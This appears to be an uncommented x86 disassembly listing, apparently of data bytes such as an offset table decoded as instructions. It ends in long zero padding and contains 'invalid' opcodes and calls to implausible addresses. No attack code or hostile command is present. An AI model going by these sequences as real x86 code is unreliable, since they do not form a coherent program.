and al, 0x33
sub byte [ebx], dh
sub al, 0x33
xor byte [ebx], dh
xor al, 0x33
cmp byte [ebx], dh
cmp al, 0x33
inc eax
xor eax, dword [ebx + esi + 0x48]
xor ecx, dword [ebx + esi + 0x50]
xor edx, dword [ebx + esi + 0x58]
xor ebx, dword [ebx + esi + 0x60]
xor esp, dword [ebx + esi + 0x68]
xor ebp, dword [ebx + esi + 0x70]
xor esi, dword [ebx + esi + 0x78]
xor edi, dword [ebx + esi - 0x80]
xor eax, dword [ebx + esi + 0x338c3388]
nop
xor edx, dword [ebx + esi + 0x339c3398]
mov al, byte [0xa833a433]
xor ebp, dword [ebx + esi + 0x33b433b0]
mov eax, 0xc033bc33
xor eax, esp
xor ecx, eax
xor ecx, esp
xor edx, eax
xor edx, esp
xor ebx, eax
xor ebx, esp
xor esp, eax
xor esp, esp
xor ebp, eax
xor ebp, esp
xor esi, eax
xor esi, esp
xor edi, eax
xor edi, esp
xor eax, dword [eax]
xor al, 4
xor al, 8
xor al, 0xc
xor al, 0x10
xor al, 0x14
xor al, 0x18
xor al, 0x1c
xor al, 0x20
xor al, 0x24
xor al, 0x28
xor al, 0x2c
xor al, 0x30
xor al, 0x34
xor al, 0x38
xor al, 0x3c
xor al, 0x40
xor al, 0x44
xor al, 0x48
xor al, 0x4c
xor al, 0x50
xor al, 0x54
xor al, 0x58
xor al, 0x5c
xor al, 0x60
xor al, 0x64
xor al, 0x68
xor al, 0x6c
xor al, 0x70
xor al, 0x74
xor al, 0x78
xor al, 0x7c
xor al, 0x80
xor al, 0x84
xor al, 0x88
xor al, 0x8c
xor al, 0x90
xor al, 0x94
xor al, 0x98
xor al, 0x9c
xor al, 0xa0
xor al, 0xa4
xor al, 0xa8
xor al, 0xac
xor al, 0xb0
xor al, 0xb4
xor al, 0xb8
xor al, 0xbc
xor al, 0xc0
xor al, 0xc4
xor al, 0xc8
xor al, 0xcc
xor al, 0xd0
xor al, 0xe0
xor al, 0xe4
xor al, 0xe8
xor al, 0xec
xor al, 0xf0
xor al, 0xf4
xor al, 0xf8
xor al, 0xfc
xor al, 0
xor eax, 0x35083504
or al, 0x35
adc byte [0x35183514], dh
sbb al, 0x35
and byte [0x35283524], dh
sub al, 0x35
xor byte [0x35383534], dh
cmp al, 0x35
inc eax
xor eax, 0x35483544
dec esp
xor eax, 0x35543550
pop eax
xor eax, 0x3560355c
xor eax, 0x356c3568
jo 0x459b6f
je 0x459b71
js 0x459b73
jl 0x459b75
xor byte [0x35883584], 0x8c
xor eax, 0x35943590
cwde
xor eax, 0x35a0359c
movsb byte es:[edi], byte [esi]
xor eax, 0x35ac35a8
mov al, 0x35
mov ah, 0x35
mov eax, 0xc035bc35
xor eax, 0x35c835c4
int3
xor eax, 0x35e435e0
call 0xf07b87ae
xor eax, 0x35f835f4
cld
xor eax, 0x36043600
xor eax, 0x35e835e4
in al, dx
xor eax, 0x35f435f0
clc
xor eax, 0x360035fc
add al, 0x36
xor eax, 0x35ec35e8
invalid
xor eax, 0x35f035ec
hlt
or byte [esi], dh
or al, 0x36
adc byte [esi], dh
adc al, 0x36
sbb byte [esi], dh
sbb al, 0x36
and byte [esi], dh
and al, 0x36
sub byte [esi], dh
sub al, 0x36
xor byte [esi], dh
xor al, 0x36
cmp byte [esi], dh
cmp al, 0x36
inc eax
inc esp
dec eax
dec esp
push eax
push esp
pop eax
pop esp
pushal
push 0x70366c36
je 0x459bf2
js 0x459bf4
jl 0x459bf6
xor byte [esi], 0x84
mov byte ss:[esi], dh
invalid
in al, 0x36
call 0xf07c882f
hlt
in al, dx
invalid
sbb al, 0x37
and byte [edi], dh
and al, 0x37
xor al, 0x37
cmp byte [edi], dh
inc eax
aaa
inc esp
aaa
dec esp
aaa
push eax
aaa
pushal
aaa
aaa
insb byte es:[edi], dx
aaa
jo 0x459c5f
js 0x459c61
jl 0x459c63
test byte [edi], dh
mov byte [edi], dh
nop
aaa
xchg esp, eax
aaa
movsb byte es:[edi], byte [esi]
aaa
test al, 0x37
mov al, 0x37
mov ah, 0x37
mov esp, 0xd037c037
aaa
aam 0x37
fdiv qword [edi]
loopne 0x459c7f
call 0xfc7d8884
aaa
add byte [eax], bh
or byte [eax], bh
or al, 0x38
sbb al, 0x38
and byte [eax], bh
sub byte [eax], bh
sub al, 0x38
xor al, 0x38
cmp byte [eax], bh
inc eax
cmp byte [eax + 0x38], al
inc esp
cmp byte [eax + edi + 0x4c], al
cmp byte [eax + 0x38], dl
push 0x74386c38
cmp byte [eax + 0x38], bh
cmp byte [eax], 0x84
cmp byte [eax + edi + 0x38983890], cl
pushfd
cmp byte [eax + edi + 0x50], cl
cmp byte [eax + 0x38], ch
insb byte es:[edi], dx
cmp byte [eax + edi + 0x78], dh
cmp byte [eax - 0x73c77bc8], al
cmp byte [eax - 0x63c767c8], dl
cmp byte [eax + edi + 0x38d038c0], bh
aam 0x38
fdivr qword [eax]
loopne 0x459cc0
cmp al, dl
cmp ah, dl
cmp ah, bl
cmp al, ah
cmp al, dh
cmp ah, dh
cmp ah, bh
cmp byte [eax], al
cmp dword [eax + 0x39], ebp
insb byte es:[edi], dx
cmp dword [eax + 0x39], esi
je 0x459cd1
invalid
js 0x459cd3
jl 0x459cd5
cmp byte [ecx], 0x84
cmp dword [eax - 0x6fc673c7], ecx
cmp dword [ecx + edi + 0x399c3998], edx
mov al, byte [0xa839a439]
cmp dword [ecx + edi + 0x39b439b0], ebp
mov eax, 0xc039bc39
cmp dword [ecx + edi + 0x39c439c0], edi
enter 0xffffffffffffcc39, 0x39
sar byte [ecx], 1
aam 0x39
fdivr dword [ecx]
fdivr qword [ecx]
loopne 0x459d07
in al, 0x39
invalid
cmp dword [ecx + edi + 0x39c439c0], edi
enter 0xffffffffffffcc39, 0x39
sar byte [ecx], 1
aam 0x39
fdivr dword [ecx]
fdivr qword [ecx]
loopne 0x459d07
in al, 0x39
call 0xf07f890e
cmp esp, ebp
cmp eax, esi
cmp esp, esi
cmp eax, edi
cmp esp, edi
cmp dword [eax], eax
cmp al, byte [edx + edi]
or byte [edx], bh
or al, 0x3a
adc byte [edx], bh
adc al, 0x3a
sbb byte [edx], bh
sbb al, 0x3a
and byte [edx], bh
and al, 0x3a
sub byte [edx], bh
sub al, 0x3a
xor byte [edx], bh
xor al, 0x3a
cmp byte [edx], bh
cmp al, 0x3a
inc eax
cmp al, byte [edx + edi + 0x48]
cmp cl, byte [edx + edi + 0x50]
cmp dl, byte [edx + edi + 0x58]
cmp bl, byte [edx + edi + 0x60]
cmp ah, byte [edx + edi + 0x68]
cmp ch, byte [edx + edi + 0x70]
cmp dh, byte [edx + edi - 0x80]
cmp al, byte [edx + edi + 0x3a903a8c]
xchg esp, eax
cmp bl, byte [eax - 0x5fc563c6]
cmp ch, byte [eax - 0x4fc553c6]
test al, 0x3a
lodsb al, byte [esi]
cmp dh, byte [eax - 0x47c54bc6]
cmp bh, byte [edx + edi + 0x3ac43ac0]
enter 0xffffffffffffcc3a, 0x3a
sar byte [edx], 1
aam 0x3a
fdivr dword [edx]
fdivr qword [edx]
in al, 0x3a
call 0xf0808985
cmp bl, byte [eax + 0x3a]
pop esp
cmp ah, byte [eax + 0x3a]
cmp ch, byte fs:[eax + 0x3a]
insb byte es:[edi], dx
cmp dh, byte [eax + 0x3a]
je 0x459d52
cmp byte [edx], 0x84
cmp cl, byte [edx + edi + 0x3a943a90]
cwde
cmp bl, byte [edx + edi + 0x3aa83aa0]
test al, 0x3a
test al, 0x3a
lodsb al, byte [esi]
cmp dh, byte [eax - 0x47c54bc6]
cmp bh, byte [edx + edi + 0x3ac43ac0]
enter 0xffffffffffffcc3a, 0x3a
sar byte [edx], 1
aam 0x3a
fdivr dword [edx]
fdivr qword [edx]
in al, 0x3a
call 0xf0808985
cmp dh, ah
cmp bh, al
cmp bh, ah
cmp al, byte [eax]
cmp eax, dword [ebx + edi]
add byte [ebx], bh
add al, 0x3b
or byte [ebx], bh
or al, 0x3b
adc al, 0x3b
sbb byte [ebx], bh
sbb al, 0x3b
and byte [ebx], bh
and al, 0x3b
sub byte [ebx], bh
sub al, 0x3b
xor byte [ebx], bh
xor al, 0x3b
cmp byte [ebx], bh
cmp al, 0x3b
inc eax
cmp eax, dword [ebx + edi + 0x48]
cmp ecx, dword [ebx + edi + 0x50]
cmp edx, dword [ebx + edi + 0x58]
cmp ebx, dword [ebx + edi + 0x60]
cmp esp, dword [ebx + edi + 0x68]
cmp ebp, dword [ebx + edi + 0x70]
cmp esi, dword [ebx + edi + 0x78]
cmp edi, dword [ebx + edi - 0x80]
cmp eax, dword [ebx + edi + 0x3b8c3b88]
nop
cmp edx, dword [ebx + edi + 0x3b9c3b98]
mov al, byte [0xa83ba43b]
cmp ebp, dword [ebx + edi + 0x3bb43bb0]
mov eax, 0xc03bbc3b
cmp eax, esp
cmp ecx, eax
cmp ecx, esp
cmp edx, eax
cmp edx, esp
cmp ebx, eax
cmp ebx, esp
cmp esp, eax
cmp esp, esp
cmp ebp, eax
cmp ebp, esp
cmp esi, eax
cmp esi, esp
cmp edi, eax
cmp edi, esp
cmp eax, dword [eax]
cmp al, 4
cmp al, 8
cmp al, 0xc
cmp al, 0x10
cmp al, 0x14
cmp al, 0x18
cmp al, 0x1c
cmp al, 0x20
cmp al, 0x24
cmp al, 0x28
cmp al, 0x2c
cmp al, 0x30
cmp al, 0x34
cmp al, 0x38
cmp al, 0x3c
cmp al, 0x40
cmp al, 0x44
cmp al, 0x48
cmp al, 0x4c
cmp al, 0x50
cmp al, 0x54
cmp al, 0x58
cmp al, 0x5c
cmp al, 0x60
cmp al, 0x64
cmp al, 0x68
cmp al, 0x6c
cmp al, 0x70
cmp al, 0x74
cmp al, 0x78
cmp al, 0x7c
cmp al, 0x80
cmp al, 0x84
cmp al, 0x88
cmp al, 0x8c
cmp al, 0x90
cmp al, 0x94
cmp al, 0x98
cmp al, 0x9c
cmp al, 0xa0
cmp al, 0xa4
cmp al, 0xa8
cmp al, 0xac
cmp al, 0xb0
cmp al, 0xb4
cmp al, 0xb8
cmp al, 0xbc
cmp al, 0xc0
cmp al, 0xc4
cmp al, 0xc8
cmp al, 0xcc
cmp al, 0xd0
cmp al, 0xd4
cmp al, 0xd8
cmp al, 0xdc
cmp al, 0xe0
cmp al, 0xe4
cmp al, 0xe8
cmp al, 0xec
cmp al, 0xf0
cmp al, 0xf4
cmp al, 0xf8
cmp al, 0xfc
cmp al, 0
cmp eax, 0x3d083d04
or al, 0x3d
adc byte [0x3d183d14], bh
sbb al, 0x3d
and byte [0x3d283d24], bh
sub al, 0x3d
xor byte [0x3d383d34], bh
cmp al, 0x3d
inc eax
cmp eax, 0x3d483d44
dec esp
cmp eax, 0x3d543d50
pop eax
cmp eax, 0x3d603d5c
cmp eax, 0x3d6c3d68
jo 0x459ec7
je 0x459ec9
js 0x459ecb
jl 0x459ecd
cmp byte [0x3d883d84], 0x8c
cmp eax, 0x3d943d90
cwde
cmp eax, 0x3da03d9c
movsb byte es:[edi], byte [esi]
cmp eax, 0x3dac3da8
cmp eax, 0x3db03dac
cmp eax, 0x3db03dac
mov ah, 0x3d
mov eax, 0xc03dbc3d
cmp eax, 0x3dc83dc4
int3
cmp eax, 0x3df43df0
clc
cmp eax, 0x3df83df4
cld
cmp eax, 0x3e043e00
cmp eax, 0x3dfc3df8
add byte [esi], bh
cmp eax, 0x3e003dfc
add al, 0x3e
or byte [esi], bh
or al, 0x3e
adc byte [esi], bh
adc al, 0x3e
sbb byte [esi], bh
sbb al, 0x3e
and byte [esi], bh
and al, 0x3e
sub byte [esi], bh
sub al, 0x3e
xor byte [esi], bh
xor al, 0x3e
cmp byte [esi], bh
cmp al, 0x3e
inc eax
inc esp
dec eax
dec esp
push eax
push esp
pop eax
pop esp
pushal
push 0x703e6c3e
je 0x459f4a
js 0x459f4c
jl 0x459f4e
cmp byte [esi], 0x84
mov byte ds:[esi], bh
invalid
add byte [edi], bh
add al, 0x3f
or byte [edi], bh
or al, 0x3f
sbb al, 0x3f
xor byte [edi], bh
xor al, 0x3f
cmp al, 0x3f
inc eax
aas
dec eax
aas
dec esp
aas
push esp
aas
pop eax
aas
pushal
aas
aas
insb byte es:[edi], dx
aas
jo 0x459fab
js 0x459fad
jl 0x459faf
test byte [edi], bh
mov byte [edi], bh
nop
aas
xchg esp, eax
aas
pushfd
aas
mov al, byte [0xac3fa83f]
aas
mov ah, 0x3f
mov eax, 0xc43fc03f
les edi, [edi]
les edi, [edi]
int3
xor byte [eax], bl
xor byte [eax], ah
xor byte [eax + esi], ah
sub al, 0x30
xor byte [eax], dh
cmp byte [eax], dh
cmp al, 0x30
inc esp
xor byte [eax + 0x30], cl
push eax
xor byte [eax + esi + 0x5c], dl
xor byte [eax + 0x30], ah
push 0x74306c30
xor byte [eax + 0x30], bh
xor byte [eax], 0x84
xor byte [eax + esi + 0x30983090], cl
pushfd
xor byte [eax + esi + 0x30b030a8], ah
mov ah, 0x30
mov esp, 0xc830c030
xor ah, cl
xor ah, dl
xor al, bl
xor al, ah
xor ah, ah
xor ah, ch
xor al, dh
xor al, bh
xor ah, bh
xor byte [ecx + esi], al
or byte [ecx], dh
adc byte [ecx], dh
adc al, 0x31
sbb al, 0x31
and byte [ecx], dh
sub byte [ecx], dh
sub al, 0x31
xor al, 0x31
cmp byte [ecx], dh
inc eax
xor dword [ecx + esi + 0x4c], eax
xor dword [eax + 0x31], edx
pop eax
xor dword [ecx + esi + 0x64], ebx
xor dword [eax + 0x31], ebp
jo 0x45a051
je 0x45a053
jl 0x45a055
xor byte [ecx], 0x88
xor dword [ecx + esi + 0x31983194], ecx
mov al, byte [0xac31a431]
xor dword [eax - 0x43ce47cf], esi
xor esp, eax
xor eax, ecx
xor eax, edx
xor esp, edx
xor esp, ebx
xor eax, esp
xor eax, ebp
xor esp, ebp
xor esp, esi
xor eax, edi
xor dword [eax], eax
xor al, byte [edx + esi]
or al, 0x32
xor cl, byte [edx + esi]
xor dl, byte [eax]
adc byte [edx], dh
sbb byte [edx], dh
sbb al, 0x32
xor bl, byte [eax]
xor bl, byte [edx + esi]
and al, 0x32
sub byte [edx], dh
xor byte [edx], dh
xor al, 0x32
cmp al, 0x32
inc eax
xor cl, byte [eax + 0x32]
dec esp
xor dl, byte [edx + esi + 0x58]
xor ah, byte [eax + 0x32]
xor ch, byte fs:[edx + esi + 0x70]
xor bh, byte [eax + 0x32]
jl 0x45a0ac
test byte [edx], dh
mov byte [edx], dh
nop
xor dl, byte [edx + esi + 0x32a0329c]
test al, 0x32
lodsb al, byte [esi]
xor dh, byte [edx + esi + 0x32c032b8]
les esi, [edx]
int3
sbb byte [ebx], dh
and byte [ebx], dh
and al, 0x33
sub al, 0x33
xor byte [ebx], dh
cmp byte [ebx], dh
cmp al, 0x33
inc esp
xor ecx, dword [eax + 0x33]
push eax
xor edx, dword [ebx + esi + 0x5c]
xor esp, dword [eax + 0x33]
push 0x74336c33
xor edi, dword [eax + 0x33]
xor byte [ebx], 0x84
xor ecx, dword [ebx + esi + 0x33983390]
pushfd
xor esp, dword [ebx + esi + 0x33b033a8]
mov ah, 0x33
mov esp, 0xc833c033
xor ecx, esp
xor edx, esp
xor ebx, eax
xor esp, eax
xor esp, esp
xor ebp, esp
xor esi, eax
xor edi, eax
xor edi, esp
xor eax, dword [esp + esi]
or byte [eax + edx], dh
xor al, 0x14
xor al, 0x1c
xor al, 0x20
xor al, 0x28
xor al, 0x2c
xor al, 0x34
xor al, 0x38
xor al, 0x40
xor al, 0x44
xor al, 0x4c
xor al, 0x50
xor al, 0x58
xor al, 0x5c
xor al, 0x64
xor al, 0x68
xor al, 0x70
xor al, 0x74
xor al, 0x7c
xor al, 0x80
xor al, 0x88
xor al, 0x8c
xor al, 0x94
xor al, 0x98
xor al, 0xa0
xor al, 0xa4
xor al, 0xac
xor al, 0xb0
xor al, 0xb8
xor al, 0xbc
xor al, 0xc4
xor al, 0xc8
xor al, 0xd0
xor al, 0xd4
xor al, 0xdc
xor al, 0xe0
xor al, 0xe8
xor al, 0xec
xor al, 0xf4
xor al, 0xf8
xor al, 0
xor eax, 0x350c3504
adc byte [0x351c3518], dh
and al, 0x35
sub byte [0x35343530], dh
cmp al, 0x35
inc eax
xor eax, 0x354c3548
push esp
xor eax, 0x35603558
xor eax, 0x3570356c
js 0x45a1ad
jl 0x45a1af
test byte [0x35903588], dh
xchg esp, eax
xor eax, 0x35a0359c
test al, 0x35
lodsb al, byte [esi]
xor eax, 0x35b835b4
sal byte [0x35cc35c4], 0xd0
xor eax, 0x35dc35d8
in al, 0x35
call 0xf47b91d6
xor eax, 0x360035fc
or byte [esi], dh
or al, 0x36
adc al, 0x36
sbb byte [esi], dh
and byte [esi], dh
and byte ss:[esi], dh
and al, 0x36
and al, 0x36
invalid
js 0x45a25d
jl 0x45a25f
cmp byte [ecx], 0x84
cmp dword [eax - 0x6fc673c7], ecx
cmp dword [ecx + edi + 0x399c3998], edx
mov al, byte [0xa839a439]
cmp dword [ecx + edi + 0x39b839b4], ebp
mov esp, 0xc839c439
cmp esp, ecx
cmp esp, edx
cmp eax, ebx
cmp esp, ebx
cmp eax, esp
cmp eax, ebp
cmp esp, ebp
in al, dx
in al, dx
cmp eax, esi
cmp esp, esi
cmp eax, edi
cmp esp, edi
cmp dword [eax], eax
cmp al, byte [edx + edi]
or byte [edx], bh
or al, 0x3a
adc byte [edx], bh
adc al, 0x3a
sbb byte [edx], bh
sbb al, 0x3a
and byte [edx], bh
and al, 0x3a
sub byte [edx], bh
sub al, 0x3a
xor byte [edx], bh
xor al, 0x3a
cmp byte [edx], bh
cmp al, 0x3a
inc eax
cmp al, byte [edx + edi + 0x48]
cmp cl, byte [edx + edi + 0x50]
cmp dl, byte [edx + edi + 0x58]
cmp bl, byte [edx + edi + 0x60]
cmp ah, byte [edx + edi + 0x68]
cmp ch, byte [edx + edi + 0x70]
cmp dh, byte [edx + edi + 0x78]
cmp bh, byte [edx + edi - 0x80]
cmp al, byte [eax - 0x77c57bc6]
cmp cl, byte [edx + edi + 0x3a943a90]
cwde
cmp bl, byte [edx + edi + 0x3aa83aa4]
lodsb al, byte [esi]
cmp dh, byte [eax - 0x47c54bc6]
invalid
mov esp, 0xc43ac03a
cmp al, al
cmp al, ah
cmp al, byte [eax - 0x77c57bc6]
cmp cl, byte [edx + edi + 0x3a943a90]
cwde
cmp bl, byte [edx + edi + 0x3aa83aa4]
lodsb al, byte [esi]
cmp dh, byte [eax - 0x47c54bc6]
cmp bh, byte [edx + edi + 0x3ac43ac0]
cmp al, al
cmp al, ah
cmp cl, al
cmp cl, ah
cmp dl, al
cmp dl, ah
cmp bl, al
cmp bl, ah
cmp ah, al
invalid
cmp al, al
cmp al, ah
cmp cl, al
cmp cl, ah
cmp dl, al
cmp dl, ah
cmp bl, al
cmp bl, ah
cmp ah, al
cmp ah, ah
cmp ch, al
cmp ch, ah
cmp dh, al
in al, 0x3a
call 0xf0808f0f
cmp dh, ah
cmp bh, al
cmp bh, ah
cmp al, byte [eax]
cmp eax, dword [ebx + edi]
or byte [ebx], bh
adc byte [ebx], bh
adc al, 0x3b
sbb byte [ebx], bh
sbb al, 0x3b
and byte [ebx], bh
xor byte [ebx], bh
xor al, 0x3b
cmp al, 0x3b
inc eax
cmp ebx, dword [eax + 0x3b]
pop esp
cmp esp, dword [ebx + edi + 0x68]
cmp esi, dword [eax + 0x3b]
je 0x45a33b
test byte [ebx], bh
mov byte [ebx], bh
mov al, byte [0xc43bc03b]
cmp ecx, esp
cmp edx, eax
cmp ebx, eax
cmp ebx, esp
cmp esi, esp
cmp edi, eax
cmp eax, dword [eax]
cmp al, 4
cmp al, 0xc
cmp al, 0x10
cmp al, 0x20
cmp al, 0x24
cmp al, 0x2c
cmp al, 0x30
cmp al, 0x58
cmp al, 0x68
cmp al, 0x6c
cmp al, 0x74
cmp al, 0x78
cmp al, 0xa8
cmp al, 0xac
cmp al, 0xb4
cmp al, 0xb8
cmp al, 0xc8
cmp al, 0xcc
les edi, [ebx]
int3
cmp al, 0xd4
cmp al, 0xd8
cmp al, 0xf0
cmp al, 0xf4
cmp al, 0x14
cmp eax, 0x3d203d18
and al, 0x3d
sub al, 0x3d
xor byte [0x3d443d40], bh
dec esp
cmp eax, 0x3d583d50
pop esp
cmp eax, 0x3df43d88
clc
cmp eax, 0x3e0c3e08
adc al, 0x3e
sbb byte ds:[esi], bh
sbb byte ds:[esi], bh
and byte [esi], bh
and al, 0x3e
dec esp
push eax
pushal
insb byte es:[edi], dx
jo 0x45a3b8
js 0x45a3ba
jl 0x45a3bc
invalid
inc esp
aas
dec esp
aas
push eax
aas
pop eax
aas
pop esp
aas
aas
push 0x743f703f
aas
jl 0x45a3ef
cmp byte [edi], 0x98
aas
pushfd
aas
movsb byte es:[edi], byte [esi]
aas
test al, 0x3f
mov al, 0x3f
mov ah, 0x3f
sar byte [edi], 1
fdivr qword [edi]
loopne 0x45a403
call 0xf4859008
aas
clc
aas
add al, al
add al, 0
add al, 3
add byte [eax], al
or byte [eax], dh
or al, 0x30
adc al, 0x30
sbb byte [eax], dh
and byte [eax], dh
and al, 0x30
cmp al, 0x30
inc eax
xor byte [eax + 0x30], dl
push esp
xor byte [eax + esi - 0x80], bh
xor byte [eax - 0xfcf73d0], cl
xor al, dh
xor ah, dh
xor al, bh
xor ah, bh
xor byte [eax], al
xor dword [ecx + esi], eax
or byte [ecx], dh
or al, 0x31
adc byte [ecx], dh
adc al, 0x31
sbb byte [ecx], dh
sbb al, 0x31
xor dword [eax], ebx
xor dword [ecx + esi], ebx
and byte [ecx], dh
and al, 0x31
sub byte [ecx], dh
sub al, 0x31
xor byte [ecx], dh
xor al, 0x31
cmp byte [ecx], dh
cmp al, 0x31
inc eax
xor dword [ecx + esi + 0x48], eax
xor dword [ecx + esi + 0x50], ecx
xor dword [ecx + esi + 0x58], edx
xor dword [ecx + esi + 0x68], esp
xor dword [ecx + esi + 0x70], ebp
xor dword [ecx + esi + 0x78], esi
xor dword [ecx + esi - 0x80], edi
xor dword [ecx + esi + 0x318c3188], eax
nop
xor dword [ecx + esi + 0x319c3198], edx
mov al, byte [0xa831a431]
xor dword [ecx + esi + 0x31b831b0], ebp
mov esp, 0xc431c031
xor eax, ecx
xor esp, ecx
xor eax, edx
xor esp, edx
xor eax, ebx
xor esp, ebx
xor eax, esp
xor esp, esp
xor eax, ebp
xor esp, ebp
xor eax, esi
xor esp, esi
xor eax, edi
xor esp, edi
xor dword [eax], eax
xor al, byte [edx + esi]
or byte [edx], dh
or al, 0x32
adc byte [edx], dh
adc al, 0x32
sbb byte [edx], dh
sbb al, 0x32
and byte [edx], dh
and al, 0x32
sub byte [edx], dh
sub al, 0x32
xor byte [edx], dh
xor al, 0x32
cmp byte [edx], dh
cmp al, 0x32
inc eax
xor al, byte [edx + esi + 0x48]
xor cl, byte [edx + esi + 0x50]
xor dl, byte [edx + esi + 0x58]
xor bl, byte [edx + esi + 0x60]
xor ah, byte [edx + esi + 0x68]
xor bh, byte [eax + 0x32]
jl 0x45a4de
xor byte [edx], 0x84
xor cl, byte [eax - 0x6fcd73ce]
xor dl, byte [edx + esi + 0x32a03298]
movsb byte es:[edi], byte [esi]
xor ch, byte [eax - 0x4fcd53ce]
xor dh, byte [edx + esi + 0x32bc32b8]
sal byte [edx], 0xc4
xor cl, al
xor cl, ah
xor dl, al
xor dl, ah
xor bl, al
xor bl, ah
xor ah, al
xor ah, ah
xor ch, al
xor ch, ah
xor dh, ah
call 0xf4789115
xor bh, al
xor bh, ah
xor al, byte [eax]
xor eax, dword [ebx + esi]
or byte [ebx], dh
or al, 0x33
adc byte [ebx], dh
adc al, 0x33
sbb byte [ebx], dh
sbb al, 0x33
and byte [ebx], dh
and al, 0x33
sub byte [ebx], dh
sub al, 0x33
xor byte [ebx], dh
xor al, 0x33
cmp byte [ebx], dh
cmp al, 0x33
inc eax
xor eax, dword [ebx + esi + 0x48]
xor ecx, dword [ebx + esi + 0x50]
xor edx, dword [ebx + esi + 0x58]
xor esp, dword [eax + 0x33]
xor ebp, dword fs:[eax + 0x33]
insb byte es:[edi], dx
xor esi, dword [eax + 0x33]
je 0x45a555
js 0x45a557
xor byte [ebx], 0x84
xor ecx, dword [eax - 0x6fcc73cd]
xor edx, dword [ebx + esi + 0x339c3398]
mov al, byte [0xa833a433]
xor ebp, dword [ebx + esi + 0x33b433b0]
mov eax, 0xc033bc33
xor ecx, eax
xor ecx, esp
xor edx, eax
xor edx, esp
xor ebx, eax
xor ebx, esp
xor esp, eax
xor esp, esp
xor ebp, eax
xor ebp, esp
xor esi, eax
xor esi, esp
xor edi, eax
xor edi, esp
xor eax, dword [eax]
xor al, 4
xor al, 0xc
xor al, 0x14
xor al, 0x18
xor al, 0x1c
xor al, 0x20
xor al, 0x24
xor al, 0x28
xor al, 0x2c
xor al, 0x30
xor al, 0x34
xor al, 0x38
xor al, 0x3c
xor al, 0x40
xor al, 0x44
xor al, 0x48
xor al, 0x4c
xor al, 0x50
xor al, 0x54
xor al, 0x58
xor al, 0x5c
xor al, 0x60
xor al, 0x64
xor al, 0x68
xor al, 0x6c
xor al, 0x70
xor al, 0x74
xor al, 0x78
xor al, 0x7c
xor al, 0x80
xor al, 0x84
xor al, 0x88
xor al, 0x8c
xor al, 0x90
xor al, 0x94
xor al, 0x98
xor al, 0x9c
xor al, 0xa0
xor al, 0xa4
xor al, 0xa8
xor al, 0xac
xor al, 0xb0
xor al, 0xb4
xor al, 0xb8
xor al, 0xbc
xor al, 0xc0
xor al, 0xc4
xor al, 0xc8
xor al, 0xcc
xor al, 0xd0
xor al, 0xd4
xor al, 0xd8
xor al, 0xdc
xor al, 0xe0
xor al, 0xe4
xor al, 0xe8
xor al, 0xf4
xor al, 0xfc
xor al, 0
xor eax, 0x35083504
or al, 0x35
adc byte [0x35183514], dh
sbb al, 0x35
and byte [0x35283524], dh
sub al, 0x35
xor byte [0x35383534], dh
cmp al, 0x35
inc eax
xor eax, 0x35483544
dec esp
xor eax, 0x35543550
pop eax
xor eax, 0x3560355c
xor eax, 0x356c3568
jo 0x45a647
je 0x45a649
js 0x45a64b
jl 0x45a64d
xor byte [0x35883584], 0x8c
xor eax, 0x35943590
cwde
xor eax, 0x35ac35a8
mov al, 0x35
mov ah, 0x35
mov eax, 0xc035bc35
xor eax, 0x35c835c4
int3
xor eax, 0x35fc35f8
add byte [esi], dh
xor eax, 0x360035fc
xor eax, 0x36043600
add al, 0x36
add al, 0x36
or byte [esi], dh
or al, 0x36
adc byte [esi], dh
adc al, 0x36
sbb byte [esi], dh
sbb al, 0x36
and byte [esi], dh
and al, 0x36
sub byte [esi], dh
sub al, 0x36
xor byte [esi], dh
xor al, 0x36
cmp byte [esi], dh
cmp al, 0x36
inc eax
inc esp
dec eax
dec esp
push eax
pop esp
push 0x70366c36
je 0x45a6b8
js 0x45a6ba
jl 0x45a6bc
xor byte [esi], 0x90
xchg esp, eax
cwde
pushfd
mov al, byte ss:[0xa836a436]
lodsb al, byte ss:[esi]
mov al, 0x36
mov ah, 0x36
mov eax, 0xc036bc36
les esi, ss:[esi]
enter 0xffffffffffffcc36, 0x36
sal byte [esi], 1
aam 0x36
fdiv dword [esi]
fdiv qword [esi]
loopne 0x45a6e8
in al, 0x36
call 0xf07c92ef
hlt
invalid
hlt
clc
cld
add byte ss:[edi], dh
add al, 0x37
or byte [edi], dh
or al, 0x37
adc byte [edi], dh
adc al, 0x37
sbb byte [edi], dh
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
